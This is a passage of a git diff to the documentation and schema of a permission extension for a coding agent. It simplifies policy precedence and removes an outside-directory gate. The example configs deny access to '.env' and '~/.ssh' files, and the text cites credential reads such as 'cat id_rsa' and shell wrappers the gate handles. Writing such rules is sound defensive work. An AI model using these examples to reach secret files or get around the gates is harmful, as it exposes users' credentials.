per-tick re-announcement runs ahead of the processing guard, so a session whose human is deliberating at a forwarded dialog keeps announcing while `processInbox` is held open -├── session-logger.ts `SessionLogger` interface + `PermissionSessionLogger` class; owns JSONL-writer composition, IO-failure warning dedup, and notify sink -├── logging.ts JSONL review/debug log writer; serializes through `redactedJsonStringify` and creates both logs owner-only. Constraint: `writeLine` is the only place a line is produced, so both the key-name mask and the review stream's width bound live there and no write path can escape either -├── log-field-cap.ts `capLogFieldWidths` + `resolveReviewLogFieldWidth` + `DEFAULT_REVIEW_LOG_FIELD_MAX_WIDTH` - the review log's `reviewLogFieldMaxWidth` bound. Constraint: narrows by length alone and never reads a value to decide what to shorten, which is what keeps it a cap rather than redaction -├── json-safe-stringify.ts `createJsonSafeReplacer` (Error → plain object, bigint → string, cycles → `[Circular]`) + `safeJsonStringify`; separate from the writer because the prompt path serializes tool input too, and only the log path redacts -├── log-redaction.ts `isSensitiveLogKey` + `redactedJsonStringify` - key-name masking applied at the log-write boundary. Constraint: structural, never value-shape; see `docs/decisions/0010-permission-log-secret-exposure.md` -├── log-file-permissions.ts Owner-only mode constants + best-effort `restrictExistingPathToOwner`; shared by the log writer, the logs-dir helper, and forwarding IO -├── status.ts Footer status bar integration -├── value-guards.ts Runtime type guards (`toRecord`, `getNonEmptyString`) -├── yaml-frontmatter.ts Minimal YAML/frontmatter parsing (`parseSimpleYamlMap`, `extractFrontmatter`) -└── types.ts Core type definitions; the config-shape types (PermissionState, FlatPermissionConfig, etc.) are re-exported from config-schema.ts; domain type guards `isPermissionState`, `isDenyWithReason` +├── index.ts Composition root and Pi event registration +├── config-loader.ts Global ordinary policy loading +├── policy-loader.ts Global policy + active-agent frontmatter gateway +├── hard-guard-policy-loader.ts Independent global-only hard-guard loading +├── rule.ts Pattern matching and specificity ranking +├── permission-manager.ts Unified intent evaluation +├── access-intent/ Resolved intent types and resolver +├── handlers/ +│ ├── before-agent-start.ts Session warmup and skill metadata only; no active-tool control +│ └── gates/ skill -> path -> bash -> tool pipelines +├── authority/ +│ ├── authorizer-selection.ts Configured authorizer resolution +│ └── authorizer-chain.ts Named authorizer ordering and terminal fallback +├── auto-review/ Integrated reviewer and count-based analysis +├── service.ts Cross-extension permission service +└── types.ts Shared domain types ``` +Tool visibility is deliberately absent from this tree's responsibilities. It belongs to Tool Search. ## Improvement roadmap — Phase 13: The prompt-presentation seam ### Findings (planned 2026-08-15) diff --git a/pi-permission-system/docs/configuration.md b/pi-permission-system/docs/configuration.md index d832861..31c0d8e 100644 --- a/pi-permission-system/docs/configuration.md +++ b/pi-permission-system/docs/configuration.md @@ -2,105 +2,68 @@ ## Config File Locations -Pi Permission System has an ordinary JSONC policy and an independent global hard-guard JSONC policy: +Pi Permission System reads two user-level JSONC files: | Purpose | Scope | Path | | ------- | ----- | ---- | -| Ordinary policy + runtime | Global | `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` | -| Ordinary policy override | Project | `/.pi/extensions/pi-permission-system/policy.jsonc` | +| Ordinary policy + runtime | Global only | `~/.pi/agent/extensions/pi-permission-system/policy.jsonc` | | Hard guards | Global only | `~/.pi/agent/extensions/pi-permission-system/hard-guards.jsonc` | -All paths respect `PI_CODING_AGENT_DIR`. The bundle creates missing global files once with owner-only permissions. It does not overwrite an existing file. If `policy.jsonc` is absent but the old global `config.json` exists, the bundle copies the old content into `policy.jsonc` and leaves the source file intact. +`PI_CODING_AGENT_DIR` replaces `~/.pi/agent` when set. Project-level `policy.jsonc` files are not loaded. Project agent Markdown may still provide per-agent restrictions; it is not a second ordinary policy file. -Project policy overrides global ordinary policy and per-agent YAML frontmatter overrides both. Project policy and project agent definitions are loaded only when Pi reports that project as trusted. +Hard guards are evaluated first. Their matching `deny` decisions cannot be overridden by ordinary policy, session approvals, per-agent rules, or AutoReview. -Hard guards are deliberately outside this merge. They are global-only and evaluated first, without session rules. A matching hard `deny` is final and cannot be loosened by project policy, per-agent policy, a session grant, or AutoReview. A hard-file `allow` can only form a narrower exception to another pattern in that same hard-guard file. `ask` is invalid in the hard-guard file. +Tool Search is the only extension that controls Pi's active tool list. Permission System never hides, activates, or replaces tools; it only evaluates a tool when Pi calls it. -> `~/.pi/agent` is the default. When `PI_CODING_AGENT_DIR` is set, Pi uses that directory instead. +## Decision and Pattern Precedence -## Merge Precedence +For ordinary policy, the decision flow is: -**Precedence order (later wins):** +1. matching Hard Guard `deny`; +2. session approval, when one exists; +3. per-agent restriction, when an agent is active; +4. the global ordinary policy; +5. built-in fallback `ask`. -1. Global config file -2. Project config file -3. Global agent frontmatter -4. Project agent frontmatter +Within one pattern map, the most specific matching pattern wins even if `"*"` appears later. Specificity is compared in this order: -The `permission` object uses deep-shallow merge: string-vs-string replaces; both-object shallow-merges pattern maps; string-vs-object the override wins entirely. -Scalar fields (`debugLog`, `permissionReviewLog`, `yoloMode`, `doublePressToConfirm`, `forwardingTimeoutMs`, `promptMaxRows`, `promptFieldMaxWidth`) use simple replacement. +1. exact match before wildcard match; +2. more literal characters; +3. fewer `*` wildcards; +4. longer pattern; +5. later declaration only when all earlier measures tie. -**Invalid higher-precedence scope fails closed.** -If a non-global scope (project config, global agent frontmatter, or project agent frontmatter) is present but fails to load or validate, it no longer contributes an empty scope that silently inherits the lower scope's rules. -Instead the effective policy is floored so nothing resolves more permissively than `ask`: every `allow` (including one inherited from a lower scope) is clamped to `ask`, while `deny` and `ask` are unchanged. -So a global `bash: allow` cannot remain effective behind a project scope that was meant to deny bash but contains a typo — bash prompts until the invalid config is fixed. -A validation warning plus a distinct fail-closed notice are emitted, and a fix + reload restores the intended policy. -An invalid **global** scope does not trigger the clamp — it is the lowest precedence, so nothing more permissive is inherited when it fails. -This clamp is deny-preserving and, like `yoloMode`, applied at composition; when `yoloMode` is on it re-permits the floored `ask` back to `allow`, since yolo is an explicit full-permissive opt-in. +This makes a broad `"*": "allow"` a fallback rather than an ordering trick. For example, `"**/.env": "deny"` still wins for `.env` paths. + +There is no separate `external_directory` decision. A path outside the current working directory is evaluated by the same configured tool, `path`, and Bash rules as any other path. ## Full Example ```jsonc { - "$schema": "https://raw.githubusercontent.com/gotgenes/pi-packages/main/packages/pi-permission-system/schemas/permissions.schema.json", - - // Runtime knobs - "debugLog": false, - "permissionReviewLog": true, - "yoloMode": false, - "doublePressToConfirm": true, - "forwardingTimeoutMs": 600000, - "piInfrastructureReadPaths": [], - - // Non-bash tools that carry shell semantics - "shellTools": { - "exec_command": { "commandArgument": "cmd", "workdirArgument": "workdir" } - }, - - // Unmatched ordinary asks are reviewed before the terminal human prompt. + "$schema": "./schemas/permissions.schema.json", "authorizerChain": ["auto-review"], - "autoReview": { - "enabled": true, - "provider": "openai-codex", - "model": "codex-auto-review", - "reasoning": "low", - "timeoutMs": 90000, - "includeBaselinePolicy": true - }, - "analysis": { - "enabled": true, - "threshold": 500, - "retainAnalyzedBatches": 2, - "timeoutMs": 90000 - }, - - // Flat permission policy "permission": { - "*": "ask", // universal fallback + "*": "allow", "path": { - "*": "allow", - "*.env": "deny", - "*.env.*": "deny", - "*.env.example": "allow" + "**/.env": "deny", + "**/.env.*": "deny", + "~/.ssh/**": "deny", + "*": "allow" }, - "read": "allow", - "write": "deny", - "edit": "deny", "bash": { - "git *": "ask", - "git status": "allow", - "npm *": { "action": "deny", "reason": "Use pnpm instead" } - }, - "mcp": { "mcp_status": "allow" }, - "skill": { "*": "ask" }, - "external_directory": "ask" + "git status*": "allow", + "git diff*": "allow", + "*": "ask" + } + }, + "autoReview": { + "enabled": true } } ``` -> **Note:** Trailing commas are **not** supported. -> If parsing fails, the extension falls back to `ask` for all categories. - +> **Note:** Trailing commas are not supported. If parsing fails, ordinary policy fails safely to `ask`. ## Built-in AutoReview and Count-Based Analysis `autoReview.enabled` controls the built-in authorizer named `auto-review`. It only receives requests that ordinary policy resolved to `ask`; it cannot bypass a hard deny. Add `"auto-review"` to `authorizerChain` to make it the primary case-by-case authority. An `allow` or `deny` verdict is final for that request. `defer` continues to the next authorizer and ultimately the human permission dialog. @@ -127,7 +90,6 @@ A successful proposal advances the checkpoint, is retained according to `retainA | `reviewLogFieldMaxWidth` | `1000` | Max characters of any one value written to the review log. A longer value is stored shortened, marked with an ellipsis. Raise it to keep longer values; this is a length bound, not redaction. | | `toolInputPreviewMaxLength` | — | **Deprecated and ignored.** Superseded by `promptMaxRows` / `promptFieldMaxWidth`. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. | | `toolTextSummaryMaxLength` | — | **Deprecated and ignored.** Superseded by `promptMaxRows` / `promptFieldMaxWidth`. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. | -| `piInfrastructureReadPaths` | `[]` | Extra directories to auto-allow for reads, bypassing the `external_directory` gate. Supports `~`/`$HOME`/`${HOME}` expansion and wildcard patterns (`*`, `?`). | | `authorizerChain` | `[]` | Ordered names of registered live-authority chain links to consult before the terminal authorizer (see [Authorizer chain](#authorizer-chain--case-by-case-decision-links)). | Both logs write to `~/.pi/agent/extensions/pi-permission-system/logs/`. @@ -171,23 +133,6 @@ Non-TUI contexts render the same facts under the same budget, without the colour Non-TUI contexts (RPC / frontend-driven sessions) keep the single-select prompt and are unaffected by `doublePressToConfirm`. -### `piInfrastructureReadPaths` patterns - -Each entry is either a plain directory prefix or a wildcard pattern. -Plain entries match any path that starts with the given directory (after `~`/`$HOME`/`${HOME}` expansion). -Wildcard entries use `*` (any characters, including `/`) and `?` (exactly one character). -`*` and `**` are equivalent — both cross directory boundaries. - -Example — allow reads from a Homebrew-managed Pi install at any version: - -```jsonc -{ - "piInfrastructureReadPaths": [ - "/opt/homebrew/**/@earendil-works/pi-coding-agent/**" - ] -} -``` - ### `shellTools` — gating aliased shell tools The native `bash` tool goes through the full bash enforcement stack: command decomposition, wrapper flooring, path and external-directory token gates, and `bash:` rules. @@ -213,11 +158,11 @@ Each key is a tool name; its value maps the tool's input arguments (the keys of | `workdirArgument` | no | The tool's input argument holding the working directory (e.g. `workdir`). | | `decisionFloor` | no | `"ask"` raises Bash `allow` to `ask`; existing `ask`/`deny` are preserved. | -Use `decisionFloor: "ask"` when the aliased shell crosses an extra trust boundary, such as SSH or container execution. With yolo mode disabled, every otherwise-allowed invocation then reaches the configured authorizer chain unless deterministic Bash, path, or external-directory policy already denies it. Only `"ask"` is accepted; the setting cannot weaken a hard deny. +Use `decisionFloor: "ask"` when the aliased shell crosses an extra trust boundary, such as SSH or container execution. With yolo mode disabled, every otherwise-allowed invocation then reaches the configured authorizer chain unless deterministic Bash or path policy already denies it. Only `"ask"` is accepted; the setting cannot weaken a hard deny. -When `workdirArgument` is set, the tool's working directory is the base the command's relative paths resolve against, and the working directory itself is gated by `external_directory` when it falls outside the session's working directory. +When `workdirArgument` is set, the tool's working directory is the base used to resolve relative command paths. It is evaluated through configured Bash and `path` rules; there is no separate outside-directory decision. -Merge semantics: `shellTools` merges by tool name and then by descriptor field across global → project. Project values can replace argument names, but omitting a globally configured `decisionFloor: "ask"` does not remove it. Because no weaker floor value is valid, a project cannot downgrade that global review boundary. +`shellTools` comes from the single global policy. A configured `decisionFloor: "ask"` cannot be weakened by another policy scope. `shellTools` only ever *tightens* enforcement and is inert when the named tool is not registered in the current session. Opting a project out of a shell-aliasing extension is a package-disable concern, not a `shellTools` edit. @@ -248,27 +193,9 @@ Three invariants govern the chain: 3. **Registration alone grants no authority.** Installing a judge extension gives it nothing; a link decides nothing until you name it here (opt-in activation). -The chain owner caps every link with a **bounded-delegation checkpoint**. The `path` surface is always excluded. On `external_directory`, my-pi permits an `allow` for the built-in read-only path tools (`read`, `find`, `grep`, `ls`); write, edit, bash, extension/unknown tools, and missing tool identity are downgraded to `defer`. -Deny and defer are never capped. -The gate surface remains authoritative: a `write` blocked by a `path` rule is capped even though the displayed tool name is `write`. -This holds for an ask forwarded up from a subagent exactly as it does for a local one. -See [migration/0635-forwarded-ask-delegation-envelope.md](migration/0635-forwarded-ask-delegation-envelope.md). +A named authorizer may return a final `allow` or `deny` for any request that ordinary policy resolved to `ask`, including `path`. There is no additional surface-based delegation cap. `defer` advances to the next configured authorizer and ultimately the human terminal. -When a **subagent** raises the ask, the chain runs one hop up. -The subagent forwards the request to the session serving it, and that session resolves it against its own rules and then runs *its* chain over the same evidence — so your configured links do review a subagent's asks, in the session you are watching. -The subagent itself resolves no links (an extension cannot register one in a child session at all), and records `authorizer_chain_delegated` in the review log to say so. - -Three review-log records make the chain observable, all keyed by the ask's `requestId`: - -| Record | Meaning | -| ------------------------------------ | -------------------------------------------------------------------------------------------------------- | -| `authorizer_chain_resolved` | the links consulted on this ask, recorded before they run — a link that defers otherwise leaves no trace | -| `authorizer_chain_delegated` | the ask came from a relaying subagent node; the named links were deliberately not run here | -| `authorizer_chain_unregistered_link` | a configured name had no registered link — a real misconfiguration; the ask still reaches the terminal | - -Extension authors: register a link from a `permissions:ready` handler via `getPermissionsService().registerAuthorizer(name, authorize)`; the callback receives the ask details and a narrow, session-scoped `PermissionQuery` (`checkPermission` / `getToolPermission`) so it can consult the deterministic engine at gate parity. -Registration returns a disposer, and only one link may hold a given name. -For a complete working example, see [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge): it registers a `model-judge` link on `permissions:ready` that reviews `external_directory` asks and auto-denies mistyped paths with a corrective reason. +Extension authors register a link from `permissions:ready` via `getPermissionsService().registerAuthorizer(name, authorize)`. For integration details, see [Cross-Extension API](cross-extension-api.md). --- @@ -311,13 +238,12 @@ A string value is a catch-all for that surface. } ``` -Unknown or absent tools are not required in the config. -If a tool is not registered at runtime, this extension blocks it before permission checks run. +Unknown or absent tools are not required in the config. Pi and Tool Search own tool registration and activation; Permission System does not alter the active tool list. #### Path Patterns for File Tools For path-bearing tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), an object value maps file-path patterns to actions. -Patterns are matched against `input.path` using the same last-match-wins wildcard semantics as bash command patterns. +Patterns are matched against `input.path`; the most specific matching pattern wins, using the precedence described at the top of this document. When Pi's current working directory is known, a relative path input is matched with both its original relative form and its cwd-normalized absolute form, so an absolute allowlist rule and a legacy relative rule can both apply to the same file. Per-tool path patterns also match the canonical (symlink-resolved) form, at parity with the `path` surface, so a per-tool deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below). `*` matches zero or more of any character **including** path separators — `src/*` matches both `src/foo.ts` and `src/deep/nested/foo.ts`. @@ -548,27 +474,18 @@ A path embedded in a long option (e.g. `--file=/tmp/patterns` in `grep --file=/t On Windows, where a backslash is a path separator, a backslash-relative bash argument (e.g. `dir\file` in `cat dir\file`) is gated by a `path` rule the same as its forward-slash equivalent (`dir/file`) and the same as the file accessed through the `read` tool. On other platforms a backslash is a legal filename character, so such a token is not treated as a path. -Four orthogonal layers compose with most-restrictive-wins: +Three orthogonal layers compose with most-restrictive-wins: | Layer | Question | Applies to | | ----------------------- | --------------------------------------- | ---------------- | | `path` | Is this specific path pattern allowed? | All tools + bash | -| `external_directory` | Is accessing outside CWD ok? | All tools + bash | | Per-tool patterns | Is this path ok for this specific tool? | Individual tools | -| `bash` command patterns | Is this command ok? | Bash only | +| Bash command rules | Is this command allowed? | Bash only | -**Which surface for "allow this directory"?** -Use `path` to **deny** sensitive files everywhere (`.env`, `~/.ssh/*`); use `external_directory` to **allow** a directory outside the working tree (a cache, a sibling project). -Because the layers compose with most-restrictive-wins, a `path` allow cannot loosen an `external_directory: ask` boundary — `ask` is more restrictive than `allow`, so the prompt still fires. -Adding `"~/.cargo/registry": "allow"` to the `path` surface therefore does **not** stop the outside-CWD prompt; put the rule on `external_directory` instead (see below). +A `path` allow cannot loosen a per-tool or Bash `ask`/`deny`; the most restrictive result remains effective. +Configs without a `path` key use the universal fallback (`permission["*"]`) for the `path` surface. -Configs without a `path` key behave identically to before — the gate does not fire. -When no `path` key is present, the universal fallback (`permission["*"]`) applies: `"*": "allow"` keeps the gate transparent, while `"*": "deny"` would deny all file access via every surface including `path`. - -> **Ordering matters.** -> Rules use last-match-wins. -> `{ "*.env": "deny", "*": "allow" }` allows `.env` because `"*"` is last and matches everything. -> Put the catch-all first: `{ "*": "allow", "*.env": "deny" }`. +Pattern declaration order is not a broad override mechanism. `{ "*.env": "deny", "*": "allow" }` still denies `.env` because `*.env` is more specific. #### `.env` recipe @@ -606,117 +523,6 @@ Conversely, a per-tool deny still blocks even when the `path` surface allows: Here `read` calls pass the `path` gate but are blocked by the `read` tool gate. -### `external_directory` Surface - -Controls access to paths outside the active working directory. -Use a pattern map to allow specific directories without opening all external access: - -```jsonc -{ - "permission": { - "external_directory": { - "*": "ask", - "~/development/*": "allow" - } - } -} -``` - -`external_directory` is evaluated before the normal tool permission check. -For example, `read: "allow"` can permit ordinary reads while `external_directory: "ask"` still requires confirmation before reading `../outside.txt` or an absolute path outside `ctx.cwd`. -Optional-path search tools (`find`, `grep`, `ls`) skip this check when no `path` is provided. - -#### Allow an outside-CWD cache directory - -When an agent keeps reading a local cache outside the working tree — `~/.cargo/registry`, `~/.npm`, `~/go/pkg/mod` — and you want to stop confirming it every time, allow that directory on the `external_directory` surface: - -```jsonc -{ - "permission": { - "external_directory": { - "*": "ask", - "~/.cargo/registry/*": "allow" - } - } -} -``` - -The trailing `*` is required and it crosses subdirectory boundaries: `*` is a greedy match (not a single path segment), so `~/.cargo/registry/*` allows every file beneath the directory, however deep. -Do not write `~/.cargo/registry/**` — `**` is not a distinct globstar, and a single `*` already recurses. -A bare `~/.cargo/registry` (no `*`) matches only the directory entry itself, not the files inside it, which is the usual reason a hand-written allow rule appears to do nothing. -The pattern is stored and displayed as written (`~/.cargo/registry/*`) in logs and approval dialogs. - -For caches you only ever **read**, `piInfrastructureReadPaths` is a lighter alternative — it auto-allows read-only tools (`read`, `find`, `grep`, `ls`) and bypasses the gate entirely, but it does not cover `write`/`edit` or bash. -Use `external_directory` when the allowance must apply to every tool. - -Bash commands are also covered: the extension parses the command and applies the same gate to every token that resolves outside `ctx.cwd`. -Quoting is understood, so `ls "$HOME/x"` and `ls $HOME/x` are treated alike. - -What the bash projection resolves: - -- Absolute, home-relative (`~/`), parent-traversal (`../`), and separator-bearing tokens, plus redirect targets (`> out.txt`) and values embedded in long options (`--file=/tmp/patterns`). -- The plain shell variables `$HOME` / `${HOME}` and `$PWD` / `${PWD}`, so `$HOME/x` is gated exactly as `~/x` and the literal absolute spelling, whether or not the target exists. -- Relative tokens, against the working directory produced by folding literal current-shell `cd` commands. -- A bare token (`cat id_rsa`) when it names an existing filesystem entry. - -What it deliberately does not resolve: any other variable (`$CONFIG_DIR`), a command substitution (`$(cmd)`), an expansion carrying an operator (`${HOME:-/tmp}`), and a variable reached through an assignment (`CURRENT="$HOME"; ls "$CURRENT"`). -A non-literal `cd` (`cd "$DIR"`) makes the working directory unknown, after which relative tokens are kept literal rather than resolved against a guess. -Commands whose payload is opaque (`bash -c`, `eval`, `sudo`, `xargs`) are floored to `ask` instead of projected. -The governing record is [ADR 0009](https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0009-bash-path-projection-completeness-contract.md), which states what the projection guarantees and which gaps are accepted residuals rather than bugs. - -(The separate `bash` command-pattern surface does evaluate commands nested inside substitutions and subshells; see that section.) OS device paths (`/dev/null`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) are always excluded. - -#### Symlinked paths - -A `path`, `external_directory`, or per-tool file-pattern rule (`read`/`write`/`edit`/`grep`/`find`/`ls`) matches the path **as the agent references it** and the OS-resolved (symlink-followed) path. -This matters on macOS, where `/tmp` is a symlink to `/private/tmp`: a rule keyed on `/tmp/*` allows access via `/tmp` even though the access resolves to `/private/tmp`, and a rule keyed on `/private/tmp/*` works too. - -```jsonc -{ - "permission": { - "external_directory": { - "*": "ask", - "/tmp/*": "allow" - } - } -} -``` - -The same dual-form matching protects the `path` surface and the per-tool file patterns: a `path` (or `read`/`write`/`edit`/`grep`/`find`/`ls`) deny on `~/.ssh/*` or `*.env` also catches a symlink whose resolved target matches the pattern, so a sensitive file cannot be reached through an aliasing symlink. -For `external_directory`, the decision of whether a path is outside the working directory always uses the resolved form, so the gate still fires for every outside-CWD access; only which allow/deny/ask pattern matches considers both forms. - -#### Pi Infrastructure Read Auto-Allow - -Read-only tools (`read`, `find`, `grep`, `ls`) targeting Pi infrastructure directories are automatically allowed without triggering the gate, even when `external_directory` is `ask` or `deny`. -Infrastructure directories include: - -1. The agent config directory (`~/.pi/agent/` or `$PI_CODING_AGENT_DIR`) -2. Git-cloned global packages (`/git/`) -3. The global `node_modules` root (auto-discovered from the extension's own install path; falls back to `npm root -g` when running from a local development checkout) -4. Pi's own install directory (auto-discovered via the coding-agent `getPackageDir()` API, so Pi's bundled docs and examples are readable regardless of install layout) -5. Project-local Pi packages (`/.pi/npm/` and `/.pi/git/`) -6. Any paths listed in `piInfrastructureReadPaths` - -Write tools (`write`, `edit`) to infrastructure paths are **not** auto-allowed and still go through the gate. - -On Windows, path matching for `external_directory`, `path`, and the path-bearing tools is case-insensitive and tolerant of either separator (`\` or `/`), matching the case-insensitive filesystem. -The separator folding applies to the rule pattern **and** to the value it is matched against, so either side may be written with either separator. -A mixed-case allow override such as `~/AppData/Roaming/npm/node_modules/@earendil-works/pi-coding-agent/*` therefore matches a lowercased, backslash-normalized path value, and a forward-slash rule such as `"/dev/null"` matches a value that is also spelled with forward slashes. -POSIX matching remains case-sensitive and does not fold separators. - -#### Git Bash / MSYS paths on Windows - -On Windows, Pi executes bash commands through Git Bash, so a bash token that looks like a POSIX absolute path carries MSYS mount semantics rather than native `node:path.win32` semantics. -The `external_directory` and `path` gates interpret bash tokens accordingly (tool-input paths for `read`/`write`/`edit` keep native Windows semantics, since those tools resolve them through Node's filesystem): - -- The safe device paths (`/dev/null`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) are recognized as MSYS devices rather than filesystem paths, so they never trigger the `external_directory` gate — the same exclusion that holds on POSIX. - The cross-cutting `path` surface still governs them on both platforms: if a `path` rule matches the token, it decides. - A device is therefore allow-listed the way any other path is, written as typed — `path: { "/dev/null": "allow" }`. -- MSYS drive mounts (`/c/…`, `/d/…`) are translated to their Windows equivalent (`C:\…`), so a project file referenced through a mount is matched against its real Windows path and an in-CWD mount is not flagged. -- Every other POSIX-absolute token (`/tmp/foo`, `/usr/bin`) has an install-dependent target this extension cannot resolve deterministically (Git Bash mounts `/tmp` to `%TEMP%`, MSYS2 to its own root), so it is treated as an external path matched and displayed exactly as typed, never rewritten to `C:\tmp\foo`. - -To allow-list such a path, write the rule using the path as typed — for example `external_directory: { "/tmp/*": "allow" }` — and the Windows separator folding above makes the forward-slash rule match the Git Bash token. - ### Home Directory Expansion in Patterns Pattern keys in any permission surface can start with `~/`, `$HOME/`, or `${HOME}/` (or be exactly `~`, `$HOME`, or `${HOME}`). @@ -726,15 +532,15 @@ A prefix is recognized only when it stands alone or precedes a separator, so a l ```jsonc { "permission": { - "external_directory": { - "*": "ask", - "~/development/*": "allow" + "path": { + "~/development/*": "allow", + "*": "ask" } } } ``` -The pattern is stored and displayed as written (e.g. `~/development/*`) in logs and approval dialogs. +The pattern is stored and displayed as written (for example `~/development/*`) in logs and approval dialogs. Path **values** supplied by tool calls and bash commands are expanded the same way. This means `~/...`, `$HOME/...`, `${HOME}/...`, and the fully-expanded absolute form all match a single home-anchored pattern: a `read` tool called with path `~/.ssh/config`, `$HOME/.ssh/config`, `${HOME}/.ssh/config`, or `/Users/me/.ssh/config` is all caught by a `"~/.ssh/*": "deny"` rule. @@ -918,7 +724,7 @@ It allows a curated set of commands whose only effect is to read or report — n Four existing behaviors keep this allowlist safe — you do not have to enumerate the destructive commands to block them: 1. **Redirects are gated by the `path` surface, not `bash`.** - Allowing `cat *` allows the `cat` command, not a redirect it carries: `cat secret > out.txt` writes `out.txt` through the `path`/`external_directory` gate. + Allowing `cat *` allows the `cat` command, not a redirect it carries: `cat secret > out.txt` writes `out.txt` through the `path` gate. That is why this recipe ships with `write` and `edit` denied and a `path` deny block for sensitive files. Keep the `path` surface locked down for anything you would not want an allowed read command to overwrite via `>`. 2. **`find`/`fd` with an exec flag are floored to `ask`.** diff --git a/pi-permission-system/docs/cross-extension-api.md b/pi-permission-system/docs/cross-extension-api.md index f9a9166..692ed1a 100644 --- a/pi-permission-system/docs/cross-extension-api.md +++ b/pi-permission-system/docs/cross-extension-api.md @@ -70,9 +70,9 @@ interface PermissionsService { /** * Register a custom access-intent extractor for a specific tool name. - * Declares the filesystem path a tool accesses so the `path` and - * `external_directory` gates can see it. Returns a disposer; throws if an - * extractor is already registered for that tool name. + * Declares the local filesystem path a tool accesses so the `path` gate can + * see it, or suppresses local-path inference for a remote tool. Returns a + * disposer; throws if an extractor is already registered for that tool name. */ registerToolAccessExtractor( toolName: string, @@ -85,13 +85,13 @@ interface PermissionsService { | Parameter | Required | Description | | ----------- | -------- | ---------------------------------------------------------------------------------------- | -| `surface` | Yes | Permission surface: `"bash"`, `"read"`, `"mcp"`, `"skill"`, `"external_directory"`, etc. | +| `surface` | Yes | Permission surface: `"bash"`, `"read"`, `"mcp"`, `"skill"`, `"path"`, etc. | | `value` | No | Value to evaluate (command, name, path); defaults to `""` | | `agentName` | No | Agent name for per-agent policy resolution | Returns `PermissionCheckResult` with fields `state`, `matchedPattern`, `source`, `origin`, etc. -For a path-shaped surface (`path`, `external_directory`, or a path-bearing tool — `read`/`write`/`edit`/`grep`/`find`/`ls`), the supplied `value` is matched against both the path as given and its canonical (symlink-resolved) form, at parity with the gates — so a query for a symlinked path matches a rule on its real target. +For a path-shaped surface (`path` or a path-bearing tool — `read`/`write`/`edit`/`grep`/`find`/`ls`), the supplied `value` is matched against both the path as given and its canonical (symlink-resolved) form, at parity with the gates — so a query for a symlinked path matches a rule on its real target. For the `bash` surface, a `value` containing a chained or nested command (joined by `&&`, `||`, `;`, `|`, `&`, or newlines, or nested in a command substitution/subshell) is decomposed into its command-pattern units and resolved most-restrictive (`deny` > `ask` > `allow`), at parity with the enforcement gate — so `cd /repo && npm install x` returns the decision of the `npm install x` unit, not the leading `cd`. A previously chained command that returned `allow` (riding an allowed leading command) may therefore now return `deny`/`ask`. @@ -235,7 +235,7 @@ This is the reference implementation for the seam — see `src/builtin-tool-inpu #### `registerToolAccessExtractor` -Declare the filesystem path a tool will access so the cross-cutting `path` and `external_directory` gates can evaluate it. +Declare the local filesystem path a tool will access so the cross-cutting `path` gate can evaluate it; an extractor may also suppress local-path inference for remote paths. ```typescript registerToolAccessExtractor( @@ -360,7 +360,7 @@ Nested rather than flattened so the event and the prompt payload share one shape | Field | Type | Description | | ----------------- | ---------------------------- | ------------------------------------------------------------------------------------------------ | | `requester` | `PromptRequester` | Who is asking, and whether the ask arrived from a subagent | -| `surface` | `string` | The **gate** surface the rule fired on — `"external_directory"`, `"path"`, `"bash"`, a tool name | +| `surface` | `string` | The **gate** surface the rule fired on — `"path"`, `"bash"`, or a tool name | | `toolName` | `string \| null` | The gated tool name; `null` when the ask is not tool-shaped | | `invokedToolName` | `string \| null` | The invoked name when a shell alias re-exposes bash under another name | | `value` | `string` | The decision-relevant value: the command, path, MCP target, or skill name | @@ -372,7 +372,7 @@ Nested rather than flattened so the event and the prompt payload share one shape The top-level `surface` and `request.surface` are two different facts and both belong on the event. The top-level one is the **display** projection — the child's tool name, what a notification shows. -`request.surface` is the **gate** surface the rule fired on: a `read` of a path outside the working directory displays as `"read"` and gates on `"external_directory"`. +`request.surface` is the **gate** surface the rule fired on. Paths outside the working directory have no special surface; they use the same `path` and tool surfaces as other paths. #### `ForwardedPromptContext` @@ -410,7 +410,7 @@ pi.events.on("permissions:decision", (raw) => { | Field | Type | Description | | ---------------- | ------------------- | ----------------------------------------------------------------------------------------- | | `requestId` | `string` | Id of the permission request this decision resolves | -| `surface` | `string` | Permission surface (`"bash"`, `"read"`, `"mcp"`, `"skill"`, `"external_directory"`, etc.) | +| `surface` | `string` | Permission surface (`"bash"`, `"read"`, `"mcp"`, `"skill"`, `"path"`, etc.) | | `value` | `string` | Value evaluated (command, tool name, skill name, path) | | `result` | `"allow" \| "deny"` | Final outcome | | `resolution` | `string` | How the outcome was reached (see table below) | diff --git a/pi-permission-system/schemas/permissions.schema.json b/pi-permission-system/schemas/permissions.schema.json index 19664d5..527660a 100644 --- a/pi-permission-system/schemas/permissions.schema.json +++ b/pi-permission-system/schemas/permissions.schema.json @@ -79,19 +79,9 @@ "minimum": 1, "maximum": 9007199254740991 }, - "piInfrastructureReadPaths": { - "description": "Additional directories to auto-allow for reads as Pi infrastructure, bypassing the external_directory gate. Supports ~ expansion and wildcard patterns (* and ?).", - "markdownDescription": "Additional directories to auto-allow for reads as Pi infrastructure, bypassing the `external_directory` gate.\n\nThe extension auto-discovers the global node_modules root (walks up from the extension's install path; falls back to `npm root -g` from a dev checkout), Pi's own install directory (via the coding-agent `getPackageDir()` API), `agentDir`, `agentDir/git`, and project-local `.pi/npm/` and `.pi/git/`. Add entries here for edge cases where auto-discovery is insufficient (e.g. custom `npmCommand` pointing to pnpm).\n\nSupports `~`/`$HOME` expansion. Entries may be plain directory prefixes or wildcard patterns using `*` (matches any characters, including `/`) and `?` (matches exactly one character). `**` and `*` are equivalent — both cross directory boundaries.\n\nOn Windows, matching is case-insensitive and tolerant of either path separator.", - "default": [], - "type": "array", - "items": { - "type": "string", - "minLength": 1 - } - }, "authorizerChain": { "description": "Ordered names of registered live-authority chain links to consult before the terminal authorizer. Config order (not registration order) fixes the chain order; an unregistered name is skipped fail-safe (more prompting, never less); a link decides nothing until it is named here.", - "markdownDescription": "Ordered names of registered **live-authority chain links** (e.g. a model judge) to consult before the terminal authorizer (the human, or the subagent-forwarding 